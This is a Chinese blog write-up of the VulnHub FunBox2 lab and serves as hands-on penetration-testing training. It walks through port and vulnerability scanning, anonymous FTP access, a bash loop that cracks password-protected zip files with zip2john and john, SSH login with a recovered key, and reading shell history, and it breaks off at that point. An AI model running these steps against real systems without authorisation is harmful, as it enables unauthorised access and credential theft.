&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day9 FunBox2、SolidState靶场WP</title><link>https://ruajingjing.top/post/day9-funbox2-solidstate%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Mon, 14 Apr 2025 00:01:12 +0000</pubDate><guid>https://ruajingjing.top/post/day9-funbox2-solidstate%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day9 FunBox2、SolidState靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;泷羽Sec-静安，专注网络安全与编程技术的学习与分享，探索技术细节与实际应用。声明：本公众号所分享的工具与资源，仅供学习与研究使用，严禁用于任何非法活动。后台回复“配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="funbox2-靶机funbox-rookie"&gt;Funbox2 靶机Funbox: Rookie
&lt;/h2&gt;&lt;p&gt;靶机下载地址：https://download.vulnhub.com/funbox/Funbox2.ova&lt;/p&gt;
&lt;h3 id="靶机导入错误的解决办法"&gt;靶机导入错误的解决办法
&lt;/h3&gt;&lt;p&gt;如果导入靶机错误，或者找不到网址，可以按如下方式修改。重启虚机，并持续按 &amp;lsquo;Shift&amp;rsquo; 键，然后按e进入如下界面，修改 ro 处，如果 ro 后面还有其他设置的话，一并删除就可以，把 ro 修改成 &lt;code&gt;rw signie init=/bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://img2022.cnblogs.com/blog/1282531/202203/1282531-20220304130615869-905767238.png"&gt;&lt;/p&gt;
&lt;p&gt;修改 &lt;code&gt;/etc/netplan/*.yaml&lt;/code&gt; 文件，改网卡名字。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413141930731" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413141930731.png"&gt;&lt;/p&gt;
&lt;p&gt;需修改文件&lt;code&gt;/etc/network/interfaces&lt;/code&gt; 修改网卡为&lt;code&gt;ens33&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/11.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.vulnhub.cn/post/vulnhub-vm-ip/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.cn/post/vulnhub-vm-ip/&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="信息收集"&gt;信息收集
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;sudo arp-scan -l&lt;/code&gt; 扫描发现新网段&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413143725124" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413143725124.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nmap -sV 172.168.169.130&lt;/code&gt; 扫描端口&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413144210194" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413144210194.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nmap --script=vuln -p21,22,80 172.168.169.130&lt;/code&gt;扫描漏洞&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413144536696" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413144536696.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413145159808" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413145159808.png"&gt;&lt;/p&gt;
&lt;p&gt;80端口是一个初始网页，然后再看robots.txt下提示有个logs文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413145407439" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413145407439.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413151106715" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413151106715.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描目录也没有发现什么有用的信息。这里看了别的博客，发现有人尝试了FTP和SSH的相关漏洞用msf也打不进去，目前学习就不占用时间验证了，等着二刷再试试别的办法。&lt;/p&gt;
&lt;h3 id="ftp匿名登陆"&gt;FTP匿名登陆
&lt;/h3&gt;&lt;p&gt;尝试用 &lt;code&gt;ftp 172.168.169.130&lt;/code&gt; 登录，发现可以用 &lt;code&gt;anonymous&lt;/code&gt; 匿名登录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413150750882" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413150750882.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413151207887" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413151207887.png"&gt;&lt;/p&gt;
&lt;p&gt;用 &lt;code&gt;mget *&lt;/code&gt;命令下载所有文件。然后查看文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat welcome.msg 
Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server. If you have any unusual problems,
please report them via e-mail to &amp;lt;root@%L&amp;gt;.

cat .@admins | base64 -d
Hi Admins,

be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.

Regards
root 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250413152838760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413152838760.png"&gt;&lt;/p&gt;
&lt;h3 id="密码爆破"&gt;密码爆破
&lt;/h3&gt;&lt;p&gt;提示密码在&lt;code&gt;名字.zip&lt;/code&gt;文件里，但是这里又很多文件，解压其中一个发现要解压密码，先把压缩包转hash，然后用jonh爆hash。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413153205118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413153205118.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413153304455" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413153304455.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;zip2john anna.zip &amp;gt; anna.hash
john anna.hash --wordlist=../Downloads/dict/rockyou-top15000.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一个一个文件太麻烦了，让AI写了一个循环脚本。保存为&lt;code&gt;zip2jhonhash.sh&lt;/code&gt;然后&lt;code&gt;chmod +x zip2jhonhash.sh&lt;/code&gt; 最后执行，就能处理当前文件夹下的zip文件，爆破其密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 定义字典路径（可根据需要修改）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;../Downloads/dict/rockyou-top15000.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查必要命令是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;command&lt;/span&gt; -v zip2john &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;zip2john 未找到，请安装 John the Ripper&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; 1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;command&lt;/span&gt; -v john &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;john 未找到，请安装 John the Ripper&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; 1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查字典文件是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;字典文件不存在: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计数器初始化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;processed&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取所有 ZIP 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;mapfile -t zip_files &amp;lt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find . -maxdepth &lt;span class="m"&gt;1&lt;/span&gt; -type f -name &lt;span class="s2"&gt;&amp;#34;*.zip&amp;#34;&lt;/span&gt; -printf &lt;span class="s2"&gt;&amp;#34;%f\n&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;zip_files&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$total&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -eq &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;当前目录未找到 ZIP 文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;发现 &lt;/span&gt;&lt;span class="nv"&gt;$total&lt;/span&gt;&lt;span class="s2"&gt; 个 ZIP 文件，开始处理...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主循环处理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; zipfile in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;zip_files&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;processed++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 生成哈希文件名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;hashfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;zipfile&lt;/span&gt;&lt;span class="p"&gt;%.zip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.hash&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[&lt;/span&gt;&lt;span class="nv"&gt;$processed&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$total&lt;/span&gt;&lt;span class="s2"&gt;] 正在处理: &lt;/span&gt;&lt;span class="nv"&gt;$zipfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 生成哈希文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; ! zip2john &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$zipfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$hashfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误：无法生成哈希文件 &lt;/span&gt;&lt;span class="nv"&gt;$hashfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;生成哈希文件: &lt;/span&gt;&lt;span class="nv"&gt;$hashfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 执行破解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;启动 John 破解进程...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; john --progress-every&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt; --wordlist&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$hashfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n成功破解 &lt;/span&gt;&lt;span class="nv"&gt;$zipfile&lt;/span&gt;&lt;span class="s2"&gt; 的密码:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; john --show &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$hashfile&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;未能破解 &lt;/span&gt;&lt;span class="nv"&gt;$zipfile&lt;/span&gt;&lt;span class="s2"&gt; 的密码&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 清理临时文件（可选）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# rm -f &amp;#34;$hashfile&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n所有文件处理完成&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250413160350411" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413160350411.png"&gt;&lt;/p&gt;
&lt;p&gt;解压出来&lt;code&gt;tom.zip&lt;/code&gt; 得到一个登录密钥。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413160434235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413160434235.png"&gt;&lt;/p&gt;
&lt;h3 id="ssh密钥登录"&gt;SSH密钥登录
&lt;/h3&gt;&lt;p&gt;用ssh命令带密钥登录即可&lt;code&gt;ssh tom@172.168.169.130 -i id_rsa&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413160620388" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413160620388.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250413160810169" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250413160810169.png"&gt;&lt;/p&gt;
&lt;p&gt;发现目录下有mysql历史记录，查看。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt; cat .mysql_history
